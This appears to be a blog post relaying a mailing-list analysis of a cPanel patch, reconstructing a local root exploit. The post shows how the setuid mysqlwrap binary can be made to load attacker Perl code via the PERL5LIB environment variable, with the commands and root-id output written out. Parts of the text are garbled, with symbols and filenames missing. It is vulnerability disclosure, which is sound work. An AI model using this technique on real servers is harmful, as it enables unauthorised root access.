cPanel 0day Exploit Unveiled? [updated with an exploit]

cp haquer writes on fd about how he analyzed the cpanel patch. he is trying to understand what the 0day exploit discussed lately might be (if it actually exists!):

it was pretty easy to figure out how the exploit worked once you saw their
first attempt at fixing it.

— /usr/local/cpanel/bin/mysqladmin 2006-08-29 16:54:07.000000000 -0500
+++ 2006-09-23
23:51:20.000000000 -0500
-5,9 +5,14

# this code is subject to the cpanel license. unauthorized copying is

begin {
– push( inc, “/usr/local/cpanel” );
+ unshift( inc, “/usr/local/cpanel” );
+ inc=grep(!/^\./,inc);

so obviously the exploit involves inserting things into inc when this
script is ran as root. so, how is this script ran as root?

lrwxrwxrwx 1 root root /usr/local/cpanel/bin/mysqlwrap -> cpwrap*
-rwsr-xr-x 1 root wheel /usr/local/cpanel/bin/cpwrap*

through the setuid program mysqlwrap of course! so the only quesiton is how
to insert things into inc. there are 2 ways that i could find, a command
line argument to perl, or the perl5lib environment variable. obviously, the
perl5lib environment variable seems like a good bet. [~]# cat ~/omgwtflol/
die(“my id is $< \n"); [~]# perl5lib=/home/domainc/omgwtflol /usr/local/cpanel/bin/mysqlwrap adddb database created added the database . my id is 0 compilation failed in require at /usr/local/cpanel/cpanel/ line 8. begin failed--compilation aborted at /usr/local/cpanel/cpanel/ line 8.compilation failed in require at /usr/local/cpanel/bin/mysqladmin line 11. begin failed--compilation aborted at /usr/local/cpanel/bin/mysqladmin line readers will realize that the above patch is pretty stupid attempt at stopping the exploit. several hosting companies with hacked servers had to intervene to make sure cpanel fixed it correctly. in new verisons of cpanel, cpwrap now appears to clean out environment variables before executing things. but don't worry, there are several local root exploits all over cpanel waiting to be discovered. i have discovered 2 more on the same day that i discovered how this one works.

thanks to clint torrez who let us know about this exploit in a comment:

gadi evron,

Print Friendly, PDF & Email

Comments are closed.